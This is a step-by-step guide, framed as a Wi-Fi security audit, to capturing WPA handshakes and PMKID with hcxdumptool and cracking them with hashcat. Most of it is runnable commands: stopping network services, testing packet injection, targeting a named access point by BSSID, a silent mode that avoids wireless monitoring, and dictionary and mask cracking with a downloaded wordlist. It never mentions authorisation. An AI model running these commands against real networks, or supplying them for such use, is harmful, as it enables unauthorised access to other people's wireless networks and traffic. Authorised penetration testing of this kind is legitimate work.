PREREQUISITES

Basic understanding of SECURITY
Terminal or command-line access
A working development environment

New Wi-Fi Security Audit Guide

4-Way Handshake and PMKID capturing remain the most versatile methods to audit Wi-Fi password strength, working for all Access Points. Although for some Access Points there are faster methods that exploit vulnerabilities or use the accumulated database of vulnerable routers.

This guide covers a modern approach: capturing handshakes and PMKID using hcxdumptool, converting captures to the new hash format using hcxpcapngtool, and cracking at maximum GPU speed using Hashcat.

Attack Vector Model

Up-to-Date Wi-Fi Security Audit Tools

This guide uses the following tools:

hcxdumptool — raw capture tool for handshake and PMKID acquisition
hcxtools — toolbox containing hcxpcapngtool and hcxhashtool
hashcat — GPU-accelerated password recovery tool

If any of these programs are not installed on your system, follow the links above to install the tools on your distribution.

Command Summary for Wi-Fi Security Audit

Here are the most important commands for quick reference.

List network interface names:

hcxdumptool -I

A typical command for capturing data:

hcxdumptool -i INTERFACE -o FILE.pcapng --active_beacon --enable_status=15

Captured wireless frames are saved to a .pcapng file. Convert this file to hashes:

hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng

A hash.hc22000 file with hashes will be created. To view information about hashes:

hcxhashtool --info=stdout -i hash.hc22000

Dictionary attack:

hashcat -m 22000 -a 0 hash.hc22000 WORDLIST.txt

Mask attack example:

hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d

Stop Processes That Might Interfere with Handshake and PMKID Capturing

Wi-Fi network security audit can be divided into two phases:

Online attack — the data necessary to decrypt the wireless network password is captured. During this period, you need to be close to the attacked Access Point while it is turned on.
Offline attack — the password is brute-forced. At this time, you can be anywhere, and the Access Point can even be turned off — this will not affect the result.

During the online stage, it is strongly recommended to stop services that may interfere with the operation of network interfaces:

sudo systemctl stop NetworkManager
sudo systemctl stop wpa_supplicant

After the capturing of handshakes and PMKID is complete, you can start NetworkManager again (wpa_supplicant will be started automatically):

sudo systemctl start NetworkManager

Manage Wireless Network Interfaces

The hcxdumptool utility is a versatile tool for viewing the status and managing network interfaces, and for performing wireless attacks.

To display a list of wireless interfaces:

hcxdumptool -I

You can get the same result with:

iw dev

To view the channels supported by the wireless adapter:

sudo hcxdumptool -i INTERFACE -C

You can display similar information with:

iw list

Driver Validation

The --check_driver option runs several tests to ensure that the driver supports all the necessary ioctl() system calls. The driver must support monitor mode and full packet injection, otherwise hcxdumptool will not work properly:

sudo hcxdumptool -i INTERFACE --check_driver

The key lines in the output are:

driver tests passed...
all required ioctl() system calls are supported by driver

They mean that the wireless adapter is fully suitable for performing wireless attacks.

Injection Test

With the --check_injection option, you can run an antenna test and a wireless packet injection test to determine if the driver supports full packet injection.

The results of this test are unstable, because they depend on a number of factors: proximity to Access Points and signal quality, which can change from certain interference.

Another way to check if packet injection is working is to start the tool with the --do_rcascan option. The program will list Access Points within range and their INJECTION-RATIO. To obtain results, it is recommended to run the program for at least 13 × 5 seconds (13 channels, by default, the listening time for each channel is 5 seconds):

sudo hcxdumptool -i INTERFACE --do_rcascan

Pay attention to the table header:

BSSID       FREQ   CH  RSSI  BEACON  RESPONSE  ESSID  SCAN-FREQ: 2432  INJECTION-RATIO: 30%

The INJECTION-RATIO value tells you whether the AP is within reach and you can proceed with the attack.

Manual Monitor Mode (Last Resort)

If using ioctl() for some reason is not possible with your wireless adapter, you can put it into monitor mode in the usual way (the hcxdumptool author recommends this only as a last resort):

sudo ip link set <INTERFACE> down
sudo iw <INTERFACE> set monitor control
sudo ip link set <INTERFACE> up

Various tangled wires connected to system near black metal cases in server room — Photo by Brett Sayles on Pexels

Handshakes and PMKID Capture

Attack All APs

A typical command for capturing data:

hcxdumptool -i INTERFACE -o FILE.pcapng --active_beacon --enable_status=15

In this command, FILE.pcapng is the file where the captured wireless frames will be saved.

Example command:

sudo hcxdumptool -i wlp0s20f0u2 -o dumpfile.pcapng --active_beacon --enable_status=15

Channel Timing

The default channel switching time is 5 seconds. This is more suitable if you are on the move (mobile attacks). If you are located permanently and are not in a hurry, the operating time on each channel can be increased, for example, up to two minutes:

sudo hcxdumptool -i wlp0s20f0u2 -o dumpfile.pcapng --active_beacon --enable_status=15 -t 120

Silent Mode

If you do not want your wireless adapter to emit any frames, specify the --silent option. This will disable the Deauthentication attack and attacks on clients without an AP, but will make you invisible to wireless activity monitoring devices.

Channel Selection

By default, hcxdumptool automatically selects the channels on which it listens and captures data. With the -c NUMBER option you can choose to set the frequency (2437, 2462, 5600, ...) or the channel (1, 2, 3, ...). Default: auto frequency/auto range. Maximum number of entries: 255. Values between 0–1000 are treated as channels and values >1000 are treated as frequency in MHz.

On 5 GHz and 6 GHz it is recommended to use the frequency instead of the channel numbers since the channel numbers are not unique in those bands.

Predefined Scan Lists

With the -s NUMBER option you can set a predefined scan list:

0 = auto frequency/auto band (default)
1 = 1,6,11,3,5,1,6,11,2,4,1,6,11,7,9,1,6,11,8,10,1,6,11,12,13 (optimized 2.4 GHz)
2 = 1,2,3,4,5,6,7,8,9,10,11,12,13 (standard 2.4 GHz)
3 = 36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,144,149,153,157,161,165 (standard 5 GHz)
4 = 1,2,3,4,5,6,7,8,9,10,11,12,13,36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,144,149,153,157,161,165 (standard 2.4 GHz/5 GHz)

GPS Integration

If you want to save the coordinates of the wireless Access Points or track your movement, use the options:

--use_gps_device=DEVICE — use a GPS device such as /dev/ttyACM0, /dev/ttyUSB0 (NMEA 0183 standard)
--use_gpsd — use GPSD device (NMEA 0183 standard)
--nmea=FILE — save track to file. Format: NMEA 0183

Attack a Specific AP

To attack a specific Access Point, assuming that you know its name (ESSID), you need to know the channel on which it operates and its MAC address (BSSID). This information can be collected by running hcxdumptool with the --do_rcascan option:

sudo hcxdumptool -i wlp0s20f0u2 --do_rcascan

For example, for an access point with the network name RT-728005:

BSSID       FREQ   CH  RSSI  BEACON  RESPONSE  ESSID
-----------------------------------------------------
c891f9c7eff6  2412  1   113   47      34       RT-728005

Add filter options to the hcxdumptool command:

--filtermode=CHANNEL
--filterlist_ap=MAC_OR_FILE_WITH_MAC

For example, the RT-728005 AP works on channel 1 and has BSSID c891f9c7eff6:

sudo hcxdumptool -i wlp0s20f0u2 -o RT-728005.pcapng --active_beacon --enable_status=15 --filtermode=2 --filterlist_ap=c891f9c7eff6 -c 1

Captured wireless frames are saved to file RT-728005.pcapng. Convert this file to hash:

hcxpcapngtool -o RT-728005.hc22000 -E wordlist RT-728005.pcapng

Viewing hash information:

hcxhashtool --info=stdout -i RT-728005.hc22000

This ends the online stage. Now you can start NetworkManager again:

sudo systemctl start NetworkManager

Convert Captured Data to Hash

To convert a capture to hash format, use the following command:

hcxpcapngtool -o HASH.hc22000 -E WORDLIST CAPTURE_FILE.pcapng

In this command:

HASH.hc22000 — file where all converted hashes will be placed
WORDLIST — a list of strings, including the names of the APs seen (ESSID), as well as strings transmitted in cleartext. Sometimes you can see the Wi-Fi password here — some poorly designed devices can transmit it in plaintext
CAPTURE_FILE.pcapng — file with wireless frames captured in the previous step

Command example:

hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng

The hash.hc22000 file will be created with hashes, and statistics of the captured data will be displayed.

Hash Structure

The hc22000 hash format has the following structure:

PROTOCOL*TYPE*PMKID/MIC*MACAP*MACCLIENT*ESSID*ANONCE*EAPOL*MESSAGEPAIR

Where:

PROTOCOL — Fixed string "WPA"
TYPE — 01 for PMKID, 02 for EAPOL
PMKID/MIC — PMKID if TYPE=01, MIC if TYPE=02
MACAP — MAC of the Access Point
MACCLIENT — MAC of the Client
ESSID — network name (ESSID) in HEX
ANONCE — ANONCE value
EAPOL — EAPOL data (SNONCE is contained within)
MESSAGEPAIR — Bitmask indicating message pair information:
- Bit 0–2: MP info
- Bit 3: x (unused)
- Bit 4: ap-less attack (set to 1) — no nonce-error-corrections necessary
- Bit 5: LE router detected (set to 1) — nonce-error-corrections only for LE necessary
- Bit 6: BE router detected (set to 1) — nonce-error-corrections only for BE necessary
- Bit 7: not replaycount checked (set to 1) — replaycount not checked, nonce-error-corrections definitely necessary

Viewing and Filtering Hashes

To view information about hashes, use the hcxhashtool utility:

hcxhashtool --info=stdout -i FILE.HASH

For instance:

hcxhashtool --info=stdout -i hash.hc22000

A list of hashes and their characteristics will be displayed.

hcxhashtool has a number of filters, the most useful of which are:

--essid=<ESSID>            filter by ESSID
--essid-part=<part>        filter by part of ESSID
--essid-list=<file>        filter by ESSID file
--mac-skiplist=<file>      exclude MAC from file
                             format: 001122334455, 00:11:22:33:44:55, 00-11-22-33-44-55

For example, to display information only about a specific AP:

hcxhashtool --info=stdout -i hash.hc22000 --essid=TP-Link_0126

To extract a single hash or exclude certain hashes, use the filter with the -o option:

hcxhashtool -i hash.hc22000 --essid=ak84 -o ak84.hc22000

To get only one hash for each Access Point:

cat hash.hc22000 | sort -t "*" -k 6,6 -u > hash.hc22000.uniq
hcxhashtool --info=stdout -i hash.hc22000.uniq

Password Cracking

An example of launching a dictionary attack with hashes stored in the hash.hc22000 file.

Download a dictionary:

wget https://wpa-sec.stanev.org/dict/cracked.txt.gz

Run the attack:

hashcat -m 22000 -a 0 hash.hc22000 cracked.txt.gz